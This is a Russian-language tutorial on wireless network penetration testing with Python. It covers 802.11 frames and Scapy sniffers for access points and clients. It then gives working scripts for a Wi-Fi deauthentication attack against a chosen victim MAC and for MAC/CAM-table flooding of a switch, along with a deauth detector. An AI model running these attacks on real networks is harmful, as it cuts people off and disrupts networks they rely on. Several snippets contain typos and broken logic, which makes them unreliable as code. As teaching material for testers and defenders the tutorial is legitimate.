Учебники

Тестирование беспроводной сети

Беспроводные системы обладают большой гибкостью, но, с другой стороны, это также приводит к серьезным проблемам безопасности. И как это становится серьезной проблемой безопасности – потому что злоумышленникам, в случае беспроводного подключения, просто нужно иметь доступный сигнал для атаки, а не иметь физический доступ, как в случае проводной сети. Тестирование проникновения беспроводных систем является более простой задачей, чем тестирование в проводной сети. Мы не можем реально применить хорошие физические меры безопасности против беспроводной среды, если мы находимся достаточно близко, мы сможем «услышать» (или, по крайней мере, ваш беспроводной адаптер способен слышать) все, что течет по воздуху.

Предпосылки

Прежде чем мы начнем узнавать больше о тестировании беспроводной сети, давайте обсудим терминологию и процесс связи между клиентом и беспроводной системой.

Важные термины

Давайте теперь изучим важные термины, связанные с тестированием беспроводной сети.

Точка доступа (AP)

Точка доступа (AP) является центральным узлом в беспроводных реализациях 802.11. Эта точка используется для подключения пользователей к другим пользователям в сети, а также может служить точкой соединения между беспроводной локальной сетью (WLAN) и сетью фиксированной проводной связи. В WLAN точка доступа – это станция, которая передает и принимает данные.

Идентификатор набора услуг (SSID)

Это текстовая строка, читаемая человеком, длиной 0-32 байта, которая в основном является именем, назначенным беспроводной сети. Все устройства в сети должны использовать это имя с учетом регистра для связи по беспроводной сети (Wi-Fi).

Идентификация базового набора услуг (BSSID)

Это MAC-адрес чипсета Wi-Fi, работающего в точке беспроводного доступа (AP). Он генерируется случайным образом.

Номер канала

Он представляет диапазон радиочастот, используемый точкой доступа (AP) для передачи.

Связь между клиентом и беспроводной системой

Еще одна важная вещь, которую мы должны понять, это процесс связи между клиентом и беспроводной системой. С помощью следующей диаграммы мы можем понять то же самое –

Клиент и беспроводная система связи

Рамка маяка

В процессе связи между клиентом и точкой доступа AP периодически отправляет кадр маяка, чтобы показать свое присутствие. Этот кадр поставляется с информацией, связанной с SSID, BSSID и номером канала.

Запрос зонда

Теперь клиентское устройство отправит запрос на проверку, чтобы проверить наличие точек доступа. После отправки зондирующего запроса он будет ожидать ответа зонда от AP. Запрос зонда содержит такую ​​информацию, как SSID AP, информация о конкретном продавце и т. Д.

Ответ зонда

Теперь, после получения зондирующего запроса, AP отправит зондирующий ответ, который содержит информацию о поддерживаемой скорости передачи данных, возможностях и т. Д.

Запрос аутентификации

Теперь клиентское устройство отправит кадр запроса аутентификации, содержащий его идентификатор.

Ответ аутентификации

Теперь в ответ AP отправит кадр ответа аутентификации, указывающий принятие или отклонение.

Запрос ассоциации

Когда аутентификация успешна, клиентское устройство отправило кадр запроса ассоциации, содержащий поддерживаемую скорость передачи данных и SSID AP.

Ответ Ассоциации

Теперь в ответ AP отправит кадр ответа ассоциации, указывающий принятие или отклонение. Идентификатор ассоциации клиентского устройства будет создан в случае принятия.

Поиск идентификатора набора беспроводных услуг (SSID) с использованием Python

Мы можем собрать информацию о SSID с помощью метода raw socket, а также с помощью библиотеки Scapy.

Метод необработанных сокетов

Мы уже узнали, что mon0 захватывает беспроводные пакеты; Итак, нам нужно установить режим монитора на mon0 . В Kali Linux это можно сделать с помощью скрипта airmon-ng . После запуска этого скрипта он даст имя беспроводной карте, скажем, wlan1 . Теперь с помощью следующей команды нам нужно включить режим мониторинга на mon0

airmon-ng start wlan1

Ниже приведен необработанный метод сокета Python, который даст нам SSID точки доступа.

Прежде всего нам нужно импортировать модули сокетов следующим образом:

import socket

Теперь мы создадим сокет, который будет иметь три параметра. Первый параметр сообщает нам об интерфейсе пакетов (PF_PACKET для Linux и AF_INET для Windows), второй параметр сообщает нам, является ли он необработанным сокетом, а третий параметр сообщает, что мы заинтересованы во всех пакетах.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

Теперь следующая строка свяжет режим mon0 и 0x0003 .

s.bind(("mon0", 0x0003))

Теперь нам нужно объявить пустой список, в котором будет храниться SSID точек доступа.

ap_list = []

Теперь нам нужно вызвать метод recvfrom () для получения пакета. Чтобы продолжить прослушивание, мы будем использовать бесконечный цикл while.

while True:
   packet = s.recvfrom(2048)

Следующая строка кода показывает, имеет ли кадр 8 битов, указывающих кадр маяка.

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Анализатор SSID со Scapy

Scapy – одна из лучших библиотек, которая позволяет нам легко анализировать пакеты Wi-Fi. Вы можете узнать Scapy подробно на https://scapy.readthedocs.io/en/latest/ . Для начала запустите Sacpy в интерактивном режиме и используйте команду conf, чтобы получить значение iface. Интерфейс по умолчанию – eth0. Теперь, когда у нас есть купол выше, нам нужно изменить этот режим на mon0. Это можно сделать следующим образом –

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

Давайте теперь импортируем Scapy как библиотеку. Кроме того, выполнение следующего скрипта Python даст нам SSID –

from scapy.all import *

Теперь нам нужно объявить пустой список, в котором будет храниться SSID точек доступа.

ap_list = []

Теперь мы собираемся определить функцию с именем Packet_info () , которая будет иметь полную логику разбора пакета. Это будет аргумент pkt.

def Packet_info(pkt) :

В следующем утверждении мы применим фильтр, который будет пропускать только трафик Dot11, что означает трафик 802.11. Следующая строка также является фильтром, который пропускает трафик, имеющий тип кадра 0 (представляет кадр управления), а подтип кадра равен 8 (представляет кадр маяка).

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

Теперь функция сниффинга будет анализировать данные со значением iface mon0 (для беспроводных пакетов) и вызывает функцию Packet_info .

sniff(iface = "mon0", prn = Packet_info)

Для реализации вышеперечисленных скриптов Python нам нужна карта Wi-Fi, которая может прослушивать эфир в режиме монитора.

Обнаружение клиентов точки доступа

Для обнаружения клиентов точек доступа нам нужно захватить кадр зондирующего запроса. Мы можем сделать это так же, как мы делали это в скрипте Python для анализатора SSID с использованием Scapy. Нам нужно дать Dot11ProbeReq для захвата кадра запроса зонда. Ниже приведен скрипт Python для обнаружения клиентов точек доступа.

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

Беспроводные атаки

С точки зрения пентестера, очень важно понимать, как происходит беспроводная атака. В этом разделе мы обсудим два вида беспроводных атак:

  • Аутентификация (deauth) атак

  • Атака MAC-наводнения

Аутентификация (deauth) атак

Атака MAC-наводнения

Аутентификация (deauth) атак

В процессе связи между клиентским устройством и точкой доступа всякий раз, когда клиент хочет отключиться, ему необходимо отправить кадр де-аутентификации. В ответ на этот кадр от клиента AP также отправит кадр отмены аутентификации. Злоумышленник может получить преимущество от этого обычного процесса, подделав MAC-адрес жертвы и отправив кадр де-аутентификации на AP. Из-за этого соединение между клиентом и AP потеряно. Ниже приведен скрипт Python для выполнения атаки де-аутентификации –

Давайте сначала импортируем Scapy как библиотеку –

from scapy.all import *
import sys

Следующие два утверждения будут вводить MAC-адрес AP и жертвы соответственно.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

Теперь нам нужно создать кадр де-аутентификации. Его можно создать, выполнив следующую инструкцию.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

Следующая строка кода представляет общее количество отправленных пакетов; здесь это 500 и интервал между двумя пакетами.

sendp(frame, iface = "mon0", count = 500, inter = .1)

Выход

После выполнения вышеупомянутая команда генерирует следующий вывод –

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

Затем следует создание кадра deauth, который, таким образом, отправляется точке доступа от имени клиента. Это сделает связь между ними отмененной.

Вопрос в том, как мы можем обнаружить атаку deauth с помощью скрипта Python. Выполнение следующего скрипта Python поможет в обнаружении таких атак –

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

В приведенном выше сценарии оператор pkt.subtype == 12 указывает кадр по умолчанию, а переменная I, которая определяется глобально, сообщает о количестве пакетов.

Выход

Выполнение вышеуказанного скрипта генерирует следующий вывод –

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

Атаки по MAC-адресу

Атака затопления MAC-адреса (атака затопления таблицы CAM) – это тип сетевой атаки, когда злоумышленник, подключенный к порту коммутатора, заполняет интерфейс коммутатора очень большим количеством фреймов Ethernet с разными поддельными MAC-адресами источника. Переполнение таблицы CAM происходит, когда поток MAC-адресов затопляется в таблицу и достигается порог таблицы CAM. Это заставляет коммутатор действовать как концентратор, заполняя сеть трафиком на всех портах. Такие атаки очень легко запустить. Следующий скрипт Python помогает в запуске такой CAM-атаки –

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

Основной целью такого рода атак является проверка безопасности коммутатора. Мы должны использовать безопасность портов, если хотим уменьшить эффект атаки MAC-флудинга.